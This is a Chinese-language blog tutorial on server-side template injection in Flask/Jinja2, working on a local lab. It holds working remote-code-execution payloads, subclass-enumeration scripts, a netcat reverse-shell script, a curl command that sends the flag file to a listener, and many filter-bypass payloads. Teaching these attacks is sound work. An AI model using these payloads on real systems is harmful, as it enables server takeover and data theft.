SSTI模版注入

发布时间 2023-10-15 18:33:08作者: fan高

SSTI模版注入

模板引擎

​ 模板引擎是为了使用户界面与业务数据分离而产生的,他可以生成特定格式的文档,利用模版引擎来生成前端的html代码,模版引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生产模版+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

SSTI

SSTI 就是服务器端模板注入(Server-Side Template Injection)

当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

常见的模板引擎

  • PHP

Twig 模板变量:{{%s}}

Smarty 模板变量:{%s}

Blade 模板变量:{{%s}}

  • Python

Jinja2 模板变量:{{%s}}

Tornado 模板变量:{{%s}}

Django 模板变量:{{ }}

  • Java

FreeMarker 模板变量:<#%s>``${%s}

Velocity 模板变量:#set($x=1+1)${x}

判断模板类型

image-20231014162803270

Flask模版注入

Flask是一个轻量级的可定制框架,使用python语音编写,较其他同类型框架更为灵活、轻便、安全且容易上手。它可以很好地结合MVC模式进行开发,开发人员分工合作,小型团队在短时间内就可以完成功能丰富的中小型网站或web的实现。Flask内置的模板引擎则使用Jinjia2

漏洞演示

正常代码:

from flask import Flask,render_template_string,request
app=Flask(__name__)
@app.route('/',methods=['GET'])
def index():
    str=request.args.get('a')
    html_str='''
    	<html>
    	<head></head>
    	<body>{{str}}</body>
    	</html>
    
    '''
    return render_template_string(html_str,str=str)
if __name__=='__main__':
    app.run(host='0.0.0.0',port=1314)

str值通过render_template_string加载到body中间
str是被{{}}包括起来的,会被预先渲染转义,然后才输出,不会被渲染执行。

image-20231014161931281

有问题的代码:

from flask import Flask,render_template_string,request
app=Flask(__name__)
@app.route('/',methods=['GET'])
def index():
    str=request.args.get('a')
    html_str='''
    	<html>
    	<head></head>
    	<body>{0}</body>
    	</html>
    
    '''.format(str)
    return render_template_string(html_str)
if __name__=='__main__':
    app.run(host='0.0.0.0',port=1314)

str值通过format()函数填充到body中间
{}里可以定义任何参数
return render_template_string会把{}内的字符串当成代码指令

image-20231014162704160

python venv环境安转及介绍

	Python有各种各样的系统包和第三方开发的包,让我们的开发变得异常容易。不过也引入了一个问题,不同代码需要的包版本可能是不一样的,所以常常回出现这种情况,为了代码B修改了依赖包的版本,代码B能work了,之前使用的代码A就没法正常工作了。因此常常需要对不同的代码设置不同的Python虚拟环境。venv是Python自带的虚拟环境管理工具,相当于主机上的vmware

kali安装venv

apt updatet

image-20231009194626537

python --version

image-20231009194712170

apt install python3.11-venv 

image-20231009194756895

创建venv环境安装flask

cd /opt
python -m venv flask1

image-20231009194906089

执行flask1路径下的python

方法一

#/opt/flask1/bin/python3 demo.py

方法二

#cd flask1
#source ./bin/activate

image-20231009195200312

安装flask

pip install flask -i https://mirrors.aliyun.com/pypi/simple/

image-20231009195407161

安装完成

image-20231009195710738

如何退出虚拟环境

#deactivate

image-20231009210113137

python flask应用介绍及搭建

flask
flask是一个使用python编写的轻量级Web应用框架。

其WSGI工具箱采用Werkzeug,模版引擎则使用Jinja2。Flask使用BSD授权。

Flask的特点有:良好的文档、丰富的插件、包含开发服务器和调试器、集成支持单元测试、RESTful请求调度、支持安全cookies、基于Unicode。

Python可直接使用flask启动一个web服务页面。

Flask基本架构

进入虚拟环境flask1
在/root路径下编辑demo.py

from flask import Flask 
app=Flask(__name__)#__name__是系统变量,指的是本py文件的文件名

@app.route('/')#路由,基于浏览器输入的字符串寻址
def hello():
    return "Yuanshen start"
if __name__=='__main__':
    app.run(host='0.0.0.0')

运行

image-20231009205013307

image-20231009205043587

我们更改一下路由,或者添加一个路由

from flask import Flask
app=Flask(__name__)

@app.route('/')
def hello():
    return "Yuanshen start"
@app.route('/apex')
def hello2():
    return "Apex start"
if __name__=='__main__':
    app.run(host='0.0.0.0',port=1314)#port指定端口

image-20231009205712146

Flask变量及方法

格式化字符串
demo.py

from flask import Flask
app=Flask(__name__)

@app.route('/start/<name>')
def hello(name):
    return "%s start" % name
if __name__=='__main__':
    app.run(host='0.0.0.0',port=1314)
http://192.168.200.129:1314/start/apex

image-20231010173400500

%s格式化字符串
%d接受整数
%f对于浮点值

from flask import Flask
app=Flask(__name__)

@app.route('/start/<name>')
def hello(name):
    return "%s start" % name
@app.route('/int/<int:postID>')
def show_num(postID):
    return "%d" % postID
@app.route('/float/<float:revNo>')
def revision(revNo):
    return "%f" % revNo
if __name__=='__main__':
    app.run(host='0.0.0.0',port=1314)

image-20231010174030203

image-20231010174057208

Flask HTTP方法

from flask import Flask,redirect,url_for,request,render_template

app=Flask(__name__)

@app.route('/')
def index():
    return render_template("index.html")

@app.route('/success/<name>')
def success(name):
    return 'welcome %s' % name
@app.route('/login',methods=['POST','GET'])
def login():
    if request.method == 'POST':
        user =request.form['ben']
        return redirect(url_for('success',name=user))
    else:
        user=request.args.get('ben')
        return redirect(url_for('success',name=user))
if __name__=='__main__':
    app.run(host='0.0.0.0',port=1314)

使用post提交

image-20231010193903916

image-20231010193918563

使用get提交

image-20231010194113490

image-20231010194122746

flask模板介绍

使用模板:使用静态的页面html展示动态的内容
模板是一个相应文本的文件,其中占用符(变量)表示动态部分,告诉模版引擎其具体的值需要从使用的数据中获取。
使用真实值替换变量,再返回最终得到的字符串,这个过程称为“渲染”。
Flask使用Jinja2这个模板引擎来渲染模板。

render_template

加载html文件。默认文件路径在template目录下。

demo3.py

from flask import Flask,render_template
app=Flask(__name__)
@app.route('/')
def index():
    return render_template("index.html")
if __name__=='__main__':
    app.run(host='0.0.0.0',port=1314)

index.html

<html>
        <head>
                <meta charset="UTF-8">
                <title>Title</title>
        </head>
        <body>
                模版html展示页面
        </body>

</html>

运行demo3.py

python3 demo3.py

image-20231014124058802

接下来我们往模板中传入数据、字符串、列表、字典

from flask import Flask,render_template
app=Flask(__name__)
@app.route('/')
def index():
    my_str='hello yuanshen'
    my_int=12
    my_array=[5,2,0,1,3,1,4]
    my_dict={
        'name':'zs',
        'age':18
            }
    return render_template("index.html",
                           my_str=my_str,
                           my_int=my_int,
                           my_array=my_array,
                           my_dict=my_dict
                           )#参数1:模板名称,参数n:传到模板里面的数据
if __name__=='__main__':
    app.run(host='0.0.0.0',port=1314)

我想获取字符串就可以在index.html中这样写:

<html>
        <head>
                <meta charset="UTF-8">
                <title>Title</title>
        </head>
        <body>
                模版html展示页面
                {{my_str}}
        </body>

</html>

image-20231014125455287

同理获取其他数据也是这样写。

也可以使用{%%},类似jsp

<html>
        <head>
                <meta charset="UTF-8">
                <title>Title</title>
        </head>
        <body>
                模版html展示页面
                {{my_str}}
                <br>
                {% set a='start'%}{{a}}
        </body>

</html>

image-20231014125816944

通过get方式获取值

from flask import Flask,render_template,request
app=Flask(__name__)
@app.route('/',methods=['GET'])
def index():
    my_str=request.args.get('a')
    my_int=12
    my_array=[5,2,0,1,3,1,4]
    my_dict={
        'name':'zs',
        'age':18
            }
    return render_template("index.html",
                           my_str=my_str,
                           my_int=my_int,
                           my_array=my_array,
                           my_dict=my_dict
                           )
if __name__=='__main__':
    app.run(host='0.0.0.0',port=1314)

image-20231014130139113

render_template_string

用于渲染字符串,直接定义内容

from flask import Flask,render_template,request
app=Flask(__name__)
@app.route('/')
def index():
    my_str='hello'
    my_int=12
    my_array=[5,2,0,1,3,1,4]
    my_dict={
        'name':'zs',
        'age':18
            }
    return render_template_string('<html lang="en"><head><meta charset="UTF-8"><title>Title</title></head><body>模版html展示页面<br>%s<br>%s</body></html>'%(my_str,my_int))
if __name__=='__main__':
    app.run(host='0.0.0.0',port=1314)

python继承关系和魔术方法

继承关系

父类和子类
子类调用父类下的其他子类
Python flask脚本没有办法直接执行Python指令
object是父子关系的顶端,所有的数据类型最终的父类都是object

class A:pass
class B(A):pass
class C(B):pass
class D(B):pass

这段代码,B的父类为A,C和D的父类为B,A的父类为object

魔术方法

__class__#查找当前类型所属的对象
__base__ #查找当前类的父类
__mro__  #查找当前类对象所有父类 当前类->父类->父类的父类->object   C->B->A->object
__subclasses__()#查找父类下的所有子类

__init__     #查看类是否重载。 初始化类,返回的类型是function(没有出现wrapper表示已经重载)
__globals__  #使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。

__builtins__#提供对python的所有“内置”标识符的直接访问

我们以之前的代码进行举例:

class A:pass
class B(A):pass
class C(B):pass
class D(B):pass
c=C()

查找当前类型所属的对象:

print(c.__class__)

image-20231014170832359

查找当前类的父类:

print(c.__class__.__base__)

image-20231014171026424

image-20231014171121273

image-20231014171146647

查找当前类对象所有父类:

print(c.__class__.__mro__)

image-20231014171629215

选择父类,可以用__mro__[]来选择,比如选择B

image-20231014172017035

查找父类下的所有子类

print(c.__class__.__base__.__subclasses__())

可以看到B下面有两个子类C和D:

image-20231014172319597

同理,也可以用中括号选择子类__subclasses__()[1]

靶场演示

打开jinja2靶场

image-20231014172814336

先输入{{1+1}}测试有没有漏洞

image-20231014172853951

可以看到成功执行,存在漏洞。我们使用''来获取他的当前类,也可以用双引号、中括号等等

{{''.__class__}}

image-20231014173134976

成功获取到所属的对象,然后使用mro获取他所有的父类

{{''.__class__.__mro__}}

image-20231014173431155

然后我们查看object下的子类:

{{''.__class__.__mro__[1].__subclasses__()}}
或者
{{''.__class__.__base__.__subclasses__()}}

image-20231014174331621

我们把这些值复制出来放到notepad,然后打开替换,把逗号替换成为换行符\n

image-20231014174743364

查找常用注入模块

image-20231014174921442

找到在118行有os._wrap_close
调用它需要在后面跟上中括号:__subclasses__()[117]

image-20231014175151559

使用__init__初始化类,如果没有出现wrapper字眼,说明已经重载

image-20231014175356036

然后globals全局来查找所有的方法及变量及参数。

{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__}}

image-20231014175521648

此时我们可以在网页上看到各种各样的参数方法函数。我们找其中一个可利用的function popen,在python2中可找file读取文件,很多可利用方法。

{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['popen']('cat+/etc/passwd').read()}}

image-20231014215246954

常用的注入模块

文件读取

查找子类_frozen_importlib_external.FileLoader

<class '_frozen_importlib_external.FileLoader'>

使用python脚本:

import requests

url='http://192.168.200.129:18080/flaskBasedTests/jinja2/'

for i in range(500):
    data={'name':"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
    try:
        response=requests.post(url,data=data)
        if response.status_code==200:
            if '_frozen_importlib_external.FileLoader' in response.text:
                print(i)
                break
                
    except:
        pass

运行脚本,得到所在位置为79

FileLoader的利用
["get_data"](0,"/etc/passwd") 调用get_data方法,传入参数0和文件路径

name={{''.__class__.__base__.__subclasses__()[79]["get_data"](0,"/etc/passwd")}}

image-20231015100806368

读取配置文件

{{config}}

内建函数eval执行命令

内建函数:python在执行脚本时自动加载的函数

python脚本查看可利用的内建函数eval的模块

import requests

url='http://192.168.200.129:18080/flaskBasedTests/jinja2/'

for i in range(500):
    data={'name':"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
    try:
        response=requests.post(url,data=data)
        if response.status_code==200:
            if 'eval' in response.text:
                print(i)
                
    except:
        pass

image-20231015102153885

可以看到很多都包含eval

随便找一个试一下:

name={{().__class__.__base__.__subclasses__()[91].__init__.__globals__['__builtins__']}}

image-20231015102611319

利用:

payload

{{().__class__.__base__.__subclasses__()[91].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /etc/passwd").read()')}}

image-20231015102906816

os模块执行命令

在其他函数中直接调用os模块
通过config,调用os

{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

通过url_for,调用os

{{url_for.__globals__.os.popen('whoami').read()}}

在已经加载os模块的子类里直接调用os模块

{{''.__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls -l /opt").read()}}

python脚本查找已经加载os模块的子类

import requests

url='http://192.168.200.129:18080/flaskBasedTests/jinja2/'

for i in range(500):
    data={'name':"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
    try:
        response=requests.post(url,data=data)
        if response.status_code==200:
            if 'os.py' in response.text:
                print(i)
                
    except:
        pass

importlib类执行命令

可以将加载第三方库,使用load_module加载os
python脚本查找_frozen_importlib.BuiltinImport

import requests

url='http://192.168.200.129:18080/flaskBasedTests/jinja2/'

for i in range(500):
    data={'name':"{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"}
    try:
        response=requests.post(url,data=data)
        if response.status_code==200:
            if '_frozen_importlib.BuiltinImport' in response.text:
                print(i)
                
    except:
        pass

payload

{{().__class__.__bases__[0].__subclasses__()[69]["load_module"]("os")["popen"]("ls -l /opt").read()}}

image-20231015110138174

linecache函数执行命令

linecache函数可以用于读取任意一个文件的某一行,而这个函数也引用了os模块,所以我们也可以利用这个linecache函数去执行命令。

python脚本查找linecache

import requests

url='http://192.168.200.129:18080/flaskBasedTests/jinja2/'

for i in range(500):
    data={'name':"{{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"}
    try:
        response=requests.post(url,data=data)
        if response.status_code==200:
            if 'linecache' in response.text:
                print(i)
                
    except:
        pass

payload

{{''.__class__.__base__.__subclasses__()[265].__init__.__globals__['linecache']['os'].popen("cat /etc/passwd").read()}}
或者
{{''.__class__.__base__.__subclasses__()[265].__init__.__globals__.linecache.os.popen("cat /etc/passwd").read()}}

image-20231015111507460

subprocess.Popen类执行命令

从python2.4版本开始,可以用 subprocess 这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。子进程意在替代其他几个老的模块或者函数,比如: os.system、os.popen本等函数。

python脚本查找subprocess.Popen

import requests

url='http://192.168.200.129:18080/flaskBasedTests/jinja2/'

for i in range(500):
    data={'name':"{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"}
    try:
        response=requests.post(url,data=data)
        if response.status_code==200:
            if 'subprocess.Popen' in response.text:
                print(i)
                
    except:
        pass

payload

{{''.__class__.__base__.__subclasses__()[200]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

过滤绕过

1.双大括号过滤

使用{% %}绕过
{%%}可以用来声明变量,也可以用于循环语句和条件语句。

{% set x='asdf'%}
{%for i in [1,2,3,4,5]%}{{i}}{%endfor%}
{%if 2>1%}true{%endif%}

使用python脚本查找加载popen的子类:

import requests
 
url = 'http://192.168.200.129:18080/flasklab/level/2'
for i in range(0, 500):
    # post传输的data数据的键(变量名)和值(变量值)的第一部分需自定义
    data = {'code': '{% if "".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("cat /flag").read() %}haha{% endif %}'}
    try:
        # post传参,或根据实际情况使用get
        res = requests.post(url, data=data)
        if res.status_code == 200:
            # 查找存在自定义返回值的子类序号
            if 'haha' in res.text:
                print(i)
    except:
        pass

payload:

 # 假设序号为60子类能调用popen函数,则payload
 {% print(''.__class__.__base__.__subclasses__()[60].__init__.__globals__['popen']('cat /flag').read()) %}

例题

image-20231015130748863

先使用{{}}测试,发现被过滤掉了

image-20231015130830670

我们使用{%%}

image-20231015130947071

成功执行,接着构造payload

先用脚本跑出加载popen的子类序号,得出为117,没有回显,使用print输出

{%print(''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read())%}

image-20231015131439149

成功获得flag

2.无回显ssti

反弹shell
通过RCE反弹一个shell出来绕过无回显的页面

例题

image-20231015133038160

命令正确显示correct

image-20231015133117029

命令错误显示wrong

image-20231015133145636

直接使用脚本来反弹shell

# 无回显,反弹shell脚本
import requests
# 请求的url需自定义
url = 'http://192.168.200.129:18080/flasklab/level/3'
for i in range(0, 500):
    # post传输的data数据的键(变量名)和值(变量值)的第一部分需自定义
    data = {'code': '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("netcat 192.168.200.129 1314 -e /bin/bash").read() }}'}
    try:                                                                                                  # ip地址为本地ip,端口自定义
        # post传参,或根据实际情况使用get
        res = requests.post(url, data=data)
    except:
        pass

先在kali中监听nc -lvp 1314,然后运行脚本
反弹成功
image-20231015133710059

image-20231015133734214

外带注入
通过requestbin或dnslog的方式将信息传到外界

import requests
# 请求的url需自定义
url = 'http://192.168.200.129:18080/flasklab/level/3'
for i in range(0, 500):
    # post传输的data数据的键(变量名)和值(变量值)的第一部分需自定义
    data = {'code': '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("curl http://192.168.200.129/`cat /flag`").read() }}'}
    try:                                                                                                  # ip地址为本地ip,端口自定义
        # post传参,或根据实际情况使用get
        res = requests.post(url, data=data)
    except:
        pass

同时kali开启一个python http监听
python3 -m http.server 80
运行脚本
image-20231015134818034

纯盲注(需要有一定的回显)

3.中括号过滤

使用__getitem__魔术方法可以代替中括号,绕过中括号过滤

import requests

url='http://192.168.200.129:18080/flasklab/level/4'

for i in range(500):
    data={'code':"{{''.__class__.__base__.__subclasses__().__getitem__("+str(i)+").__init__.__globals__}}"}
    try:
        response=requests.post(url,data=data)
        if response.status_code==200:
            if 'popen' in response.text:
                print(i)
                break
                
    except:
        pass

poayload

{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat flag').read()}}
变成
{{''.__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.__getitem__('popen')('cat flag').read()}}

4.单双引号过滤

当单双引号被过滤后,可以使用get或者post传参的方法来输入参数

# 当单双引号被过滤后以下访问将被限制
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}
 
# 可以通过request.args的get传参输入引号内的内容,payload:
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.args.popen](request.args.cmd).read() }}
同时get传参?popen=popen&cmd=cat /flag
 
# 也可以通过request.form的post传参输入引号内的内容,payload:
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.form.popen](request.form.cmd).read() }}
同时post传参?popen=popen&cmd=cat /flag
 
# 还可以使用cookies传参,如request.cookies.k1、request.cookies.k2、k1=popen;k2=cat /flag

例题

image-20231015143855447

5.下划线过滤

什么是过滤器
过滤器是通过|进行使用的,例如{{ name|length }},将返回name的长度,过滤器相当于是一个函数,把当前的变量传入到过滤器中,然后过滤器根据自己的功能,再返回相应的值,之后再渲染到模板页面中。
attr()函数:获取对象的属性

{{''|attr('__class__')}}

image-20231015163838570

当下划线被过滤后,可以使用过滤器输入下划线。

# 原payload存在下划线_被限制访问
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}
 
# 使用过滤器函数attr(),将带下划线部分作为attr()函数的参数并使用get或post给attr()函数传参数,payload:
{{ ()|attr(request.form.p1)|attr(request.form.p2)|attr(request.form.p3)()|attr(request.form.p4)(117)|attr(request.form.p5)|attr(request.form.p6)|attr(request.form.p7)('popen')('cat /flag')|attr('read')() }}
同时post传参p1=__class__&p2=__base__&p3=__subclasses__&p4=__getitem__&p5=__init__&p6=__globals__&p7=__getitem__
 
# arrt()的参数也可以不用get或post传参,而将arrt()函数的参数进行unicode编码

image-20231015164522013

将下划线进行16位编码的方式绕过

# 原payload存在下划线_被限制访问
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}
 
# 将下划线进行16位编码,payload:
{{ ()['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[117]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['popen']('cat /flag').read() }}

6.点过滤

使用中括号绕过点过滤

# 原payload存在点被限制访问
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}
 
# 使用中括号代替点,payload:
{{ ()['__class__']['__base__']['__subclasses__']()[117]['__init__']['__globals__']['popen']('cat /flag')['read']() }}

也可以使用过滤器attr()绕过:

# 原payload存在点被限制访问
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}
 
# 使用过滤器arrt()函数绕过点过滤,payload:
{{ ()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(117)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('cat /flag')|attr('read')() }}

7.关键字过滤

+号拼接绕过

#假设关键字class被过滤
{{().__class__}}

# + 号绕过
{{()['__cl'+'ass__']}}

使用jinjia2的~号拼接

#假设关键字class、base被过滤
{{().__class__.__base__}}

#使用~号绕过
{% set a='__cl'%}{%set b='ass__'%}{%set c='__ba'%}{%set d='se__'%}{{()[a~b][c~d]}}

使用过滤器绕过
reverse()可以反转字符串

#假设关键字class、base被过滤
{{().__class__}}
#使用过滤器reverse绕过
{%set a='__ssalc__'|reverse%}{{()[a]}}

replace替换

{%set a="__claee__"|replace("ee","ss")%}{{()[a]}}

join过滤器

{%set a=dict(__cla=a,ss__=a)|join%}{{()[a]}}   #把键取出来组成新的字符串

{%set a=['__cla','ss__']|join%}{{()[a]}}

8.数字过滤

可以使用length过滤器计算字符长度来绕过

# 假设关键字class、base被过滤
{{().__class__.__base__.__subclasses__()[6]}}

#使用过滤器length绕过
{% set a='aaaaaa'|length%}{{().__class__.__base__.__subclasses__()[a]}}

#若数字较大时,可以使用数学运算
{%set a='aaa'|length*'aaa'|length%}     a=9

9.config过滤

config被过滤可以间接调用config

# 直接调用config被过滤无回显
{{ config }}
# 使用以下方式可间接调用config
{{ url_for.__globals__['current_app'].config }}
{{ get_flashed_messages.__globals__['current_app'].config }}

10.获取特殊符号(过滤)

在{% set a=(lipsum|string|list) %}{{a[1]}}中,a[1]为小于号
a[9]为空格,a[18]为下划线
 
类似的获取特殊符号的方法还有很多